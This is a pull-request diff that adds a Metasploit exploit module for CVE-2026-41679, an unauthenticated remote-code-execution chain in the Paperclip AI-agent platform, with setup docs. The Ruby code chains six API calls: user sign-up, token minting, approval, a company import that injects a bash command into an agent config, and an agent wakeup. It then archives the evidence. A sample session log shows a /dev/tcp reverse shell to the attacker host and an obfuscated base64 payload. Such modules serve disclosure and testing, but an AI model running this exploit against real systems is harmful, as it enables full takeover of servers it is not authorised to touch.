Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
## Vulnerable Application
Paperclip is the operating system for your AI company.
You set the goals, hire AI agents as employees, and watch them plan and execute work.
Prior to version `2026.410.0`, Paperclip allows for an unauthenticated RCE.
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip
instance running in authenticated mode with default configuration. The entire chain is six API calls.

The following Paperclip release has been tested:
* Paperclip 2026.403.0 running on MacOS Tahoe 26.1

See also this [attackerkb article](https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679) for more info.

## Installation
### Installation steps to install the Paperclip application
* Either use an fresh Ubuntu 22.04 installation or a Mac.
* Here are the installation instructions for [Paperclip](https://docs.paperclip.ing/#/guides/getting-started/installation).
* Below are some small tips for installation:
* Follow the instructions for Terminal (developer).
* Use `npx paperclipai@2026.403.0 onboard --yes` to download, install and configure Paperclip.
* To configure it in authenticated mode, locate the configuration file `~/.paperclip/instances/default/config.json`.
* Change from
```json
{
"deploymentMode": "local_trusted"
}
```
* to
```json
{
"deploymentMode": "authenticated"
}
```
* Start and run Paperclip with `npx paperclipai@2026.403.0 run`. It will accessibe on `http://localhost:3100`.
* When configured in `authenticated` mode, you need to define a instance admin account before you can use the application.
* You can also use `npx paperclipai@2026.403.0 allowed-hostname <your server ip>` to configure Paperclip to use your server ip.

You are now ready to test the module.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`

you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.

## Options
No additional options defined.

## Scenarios
### Paperclip 2026.403.0 on MacOS Tahoe 26.1
```msf
msf > use exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679
[*] Using configured payload cmd/unix/reverse_bash
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set rhosts 192.168.201.29
rhosts => 192.168.201.29
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set lhost 192.168.201.8
lhost => 192.168.201.8
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > set verbose true
verbose => true
msf exploit(linux/http/paperclipai_unauth_rce_cve_2026_41679) > exploit
[+] bash -c '0<&57-;exec 57<>/dev/tcp/192.168.201.8/4444;sh <&57 >&57 2>&57'
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Paperclip version 2026.403.0
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
[*] Step 1: sign-up and register a new user.
[+] user => donna.anderson@b98bl2b.y.gcj.g8o0l4yj7.ev8ji.com, password => YClakwnIwaxPdvfJ4
[*] Step 2: sign-in with the new user credentials and get a session-cookie.
[+] cookie => better-auth.session_token=dXyuEL51jpbux84ZcFt5tKhpkccrIG3w.tbyRkK5jHNSkqYg0azqD1cmnD4879UG7Yxrzl%2BLf8Xs%3D;
[*] Step 3: Create a CLI challenge and generate an API token.
[+] API token => pcp_board_3630f4ff9961a1e327a76a179d9d844c6fdbfa104022c149
[*] Step 4: Approve the challenge in your session.
[*] Step 5: Create a company and deploy an agent with payload via import (authorization bypass).
[+] payload => echo${IFS}YmFzaCAtYyAnMDwmMTk3LTtleGVjIDE5Nzw+L2Rldi90Y3AvMTkyLjE2OC4yMDEuOC80NDQ0O3NoIDwmMTk3ID4mMTk3IDI+JjE5Nyc=
|((command${IFS}-v${IFS}base64>/dev/null&&(base64${IFS}--decode||base64${IFS}-d))
||(command${IFS}-v${IFS}openssl>/dev/null&&openssl${IFS}enc${IFS}-base64${IFS}-d))|sh
[+] company_id => 0dfdd6c2-af68-49c0-8262-e0d9f73788c6, agent_id => 764300d9-eeaf-4004-b0f4-00427c867c1c
[*] Step 6: Run the agent and trigger the payload. You should get a session now ;-).
[*] Command shell session 1 opened (192.168.201.8:4444 -> 192.168.201.29:58473) at 2026-06-07 11:16:32 +0000
[*] Cleaning up the mess...
[+] Company and agent payload has been successfully archived.

uname -a
Darwin MacBook-Pro-2.local 25.1.0 Darwin Kernel Version 25.1.0: Mon Oct 20 19:26:51 PDT 2025; root:xnu-12377.41.6~2/RELEASE_X86_64 x86_64
```

## Limitations
No limitations.
284 changes: 284 additions & 0 deletions modules/exploits/linux/http/paperclipai_unauth_rce_cve_2026_41679.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,284 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Paperclip AI RCE using a chain of six API calls (CVE-2026-41679).',
'Description' => %q{
Paperclip is the operating system for your AI company.
You set the goals, hire AI agents as employees, and watch them plan and execute work.
Prior to version 2026.410.0, Paperclip allows for an unauthenticated RCE, tracked as CVE-2026-41679.
An unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip
instance running in authenticated mode with default configuration. The entire chain is six API calls.
},
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module
'Sagilayani https://github.com/sagilayani' # Discovery
],
'References' => [
['CVE', '2026-41679'],
['GHSA', 'GHSA-68qg-g8mg-6pr7'],
['URL', 'https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679']
],
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux', 'osx'],
'Privileged' => false,
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => ['unix', 'linux', 'osx'],
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'Encoder' => 'cmd/base64',
'BadChars' => "\x20" # no space
}
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-04-10',
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 3100
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Path to the Paperclip instance', '/'])
])
end

# Check if Paperclip instance is running and get the Paperclip version if published
# return version number or 'N/A' (NOT AVAILABLE) else nil
def get_paperclip_version
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'health')
})
return unless res&.code == 200 && res.body.include?('status') && res.body.include?('deploymentMode')

# check for version
if res.body.include?('version')
res_json = res.get_json_document
res_json['version'] unless res_json.blank?
else
'N/A'
end
end

# CVE-2026-41679: Unauthenticated command injection leading to RCE via a chain of six API calls
def execute_payload(cmd, _opts = {})
# randomize email address, name and password to be used in POST requests
email = Rex::Text.rand_mail_address
email_array = email.split('@')
name = email_array[0].split('.')[0]
password = Rex::Text.rand_text_alphanumeric(12..20)

# 1. sign-up and register with a new user and password
vprint_status('Step 1: sign-up and register a new user.')
vprint_good("user => #{email}, password => #{password}")
post_data = {
email: email.to_s,
password: password.to_s,
name: name.to_s
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-up', 'email'),
'ctype' => 'application/json',
'data' => post_data.to_s
})
unless res&.code == 200 && res.body.include?('createdAt')
print_error('Step 1 failed: sign-up and register a new user.')
return
end

# 2. Sign in with registered e-mail and password and get session cookie from the Set-Cookie header.
vprint_status('Step 2: sign-in with the new user credentials and get a session-cookie.')
post_data = {
email: email.to_s,
password: password.to_s
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'auth', 'sign-in', 'email'),
'ctype' => 'application/json',
'data' => post_data.to_s
})
unless res&.code == 200 && res.get_cookies && res.body.include?('token')
print_error('Step 2 failed: sign-in with new user credentials.')
return
end

cookie = res.get_cookies
vprint_good("cookie => #{cookie}")

# 3. create a CLI challenge and grab the id, token and boardApiToken
vprint_status('Step 3: create a CLI challenge and get an API token.')
command = Rex::Text.rand_text_alpha(6..8)
post_data = {
command: command.to_s
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges'),
'ctype' => 'application/json',
'data' => post_data.to_s
})
unless res&.code == 201 && res.body.include?('token') && res.body.include?('boardApiToken') && res.body.include?('id')
print_error('Step 3 failed: create CLI challenge and get an API token.')
return
end

res_json = res.get_json_document
return if res_json.blank?

id = res_json['id']
token = res_json['token']
@board_api_token = res_json['boardApiToken']
vprint_good("API token => #{@board_api_token}")

# 4. Approve in your own session using the token, id and session cookie
# We will need to add the Origin header for next API calls otherwise they will fail
vprint_status('Step 4: approve the challenge in your session.')

@origin = "#{datastore['ssl'] ? 'https' : 'http'}://#{datastore['rhost']}:#{datastore['rport']}"
post_data = {
token: token.to_s
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'cli-auth', 'challenges', id.to_s, 'approve'),
'headers' => {
'Origin' => @origin
},
'cookie' => cookie.to_s,
'ctype' => 'application/json',
'data' => post_data.to_s
})
unless res&.code == 200 && !res.body.include?('error')
print_error('Step 4 failed: approve the challenge in your session.')
return
end

# 5. Create a company and deploy an agent via import (authorization bypass)
# This will configure the payload that will be executed by the process agent
vprint_status('Step 5: create a company and deploy an agent with payload via import (authorization bypass).')
vprint_good("payload => #{cmd}")
post_data = {
source: {
type: 'inline',
files: {
'COMPANY.md': "---\nname: MI6\nslug: MI6\n---\nx",
'agents/007/AGENTS.md': "---\nkind: agent\nname: 007\nslug: 007\nrole: engineer\n---\nx",
'.paperclip.yaml': "agents:\n 007:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - #{cmd}"
}
},
target: { mode: 'new_company', newCompanyName: 'MI6' },
include: { company: true, agents: true },
agents: 'all'
}.to_json

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'companies', 'import'),
'headers' => {
'Authorization' => "Bearer #{@board_api_token}",
'Origin' => @origin
},
'ctype' => 'application/json',
'data' => post_data.to_s
})
unless res&.code == 200 && res.body.include?('id')
print_error('Step 5 failed: create a company and deploy an agent with payload via import.')
return
end

res_json = res.get_json_document
return if res_json.blank?

agent = res_json['agents']&.first
agent_id = agent&.dig('id')
@company_id = res_json['company']['id']
vprint_good("company_id => #{@company_id}, agent_id => #{agent_id}")

# 6. Run the agent and trigger the payload
vprint_status('Step 6: run the agent and trigger the payload. You should get a session now ;-).')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'agents', agent_id.to_s, 'wakeup'),
'headers' => {
'Authorization' => "Bearer #{@board_api_token}",
'Origin' => @origin
},
'ctype' => 'application/json',
'data' => nil
})
unless res&.code == 202
print_error('Step 6 failed: run the agent and trigger the payload.')
end
end

# try to archive the company and agent payload to cover our tracks
def cleanup
super
# check if payload should be cleaned
unless @company_id.nil?
vprint_status('Cleaning up the mess...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'companies', @company_id.to_s, 'archive'),
'headers' => {
'Authorization' => "Bearer #{@board_api_token}",
'Origin' => @origin
},
'ctype' => 'application/json'
})
if res&.code == 200 && res.body.include?('archived')
print_good('Company and agent payload has been successfully archived.')
else
print_warning('Company and agent payload not archived. Try to remove it manually.')
end
end
end

def check
version = get_paperclip_version
return CheckCode::Safe('Can not find a Paperclip instance running.') if version.nil?
return CheckCode::Detected('No Paperclip version found.') if version == 'N/A'

version = Rex::Version.new(version)
if version >= Rex::Version.new('2026.410.0')
return CheckCode::Safe("Paperclip version #{version}")
end

CheckCode::Appears("Paperclip version #{version}")
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
execute_payload(payload.encoded)
end
end
Loading